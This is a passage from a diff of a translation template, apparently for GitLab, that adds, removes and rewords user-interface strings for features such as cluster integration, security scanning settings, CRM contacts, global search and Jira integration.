msgstr ""
@@ -8263,6 +8422,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8320,9 +8482,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8359,6 +8518,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8785,6 +8947,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8797,6 +8965,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8836,9 +9007,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9553,7 +9721,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9709,6 +9877,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9868,6 +10039,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9901,9 +10075,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10123,6 +10294,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10513,6 +10714,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11161,6 +11365,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11182,6 +11389,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11236,9 +11446,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11284,6 +11491,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11404,6 +11617,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11419,19 +11635,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11674,9 +11896,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11908,7 +12127,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12178,6 +12397,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12346,6 +12568,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12436,9 +12661,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12472,6 +12694,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12550,9 +12775,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12646,6 +12877,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12661,6 +12895,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12682,6 +12919,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12781,9 +13021,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12835,6 +13072,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12856,6 +13096,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12928,6 +13171,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13102,6 +13348,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13186,16 +13438,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13435,9 +13684,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13486,9 +13732,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13825,7 +14068,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14008,9 +14251,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14128,6 +14368,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14203,6 +14449,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14320,6 +14572,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14386,6 +14641,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14398,9 +14656,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14842,6 +15097,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14938,15 +15196,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15025,6 +15274,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15238,6 +15490,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15343,9 +15598,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15619,9 +15871,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15793,6 +16042,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15856,6 +16108,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16027,6 +16282,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16174,7 +16474,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16231,6 +16543,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16495,7 +16810,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16795,6 +17110,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16972,7 +17293,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16987,7 +17311,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17086,6 +17413,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17353,7 +17683,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17392,6 +17722,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18172,7 +18505,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18337,9 +18673,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18403,6 +18736,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18619,12 +18955,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18742,6 +19084,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18757,6 +19102,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18787,7 +19138,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18844,7 +19198,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18982,22 +19336,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19012,9 +19363,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19033,9 +19381,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19222,6 +19567,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19297,6 +19645,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19354,16 +19705,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19372,9 +19720,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19468,6 +19813,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19477,6 +19825,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19573,9 +19924,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19600,9 +19957,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19711,18 +20065,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19741,18 +20086,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19762,6 +20101,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19771,12 +20113,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19807,9 +20143,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20107,6 +20440,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20452,7 +20788,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20557,6 +20893,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20602,6 +20941,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20746,9 +21088,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20776,13 +21115,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20800,6 +21139,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21016,7 +21358,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21097,7 +21439,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21310,6 +21652,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21328,6 +21673,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21535,9 +21883,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21700,6 +22045,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
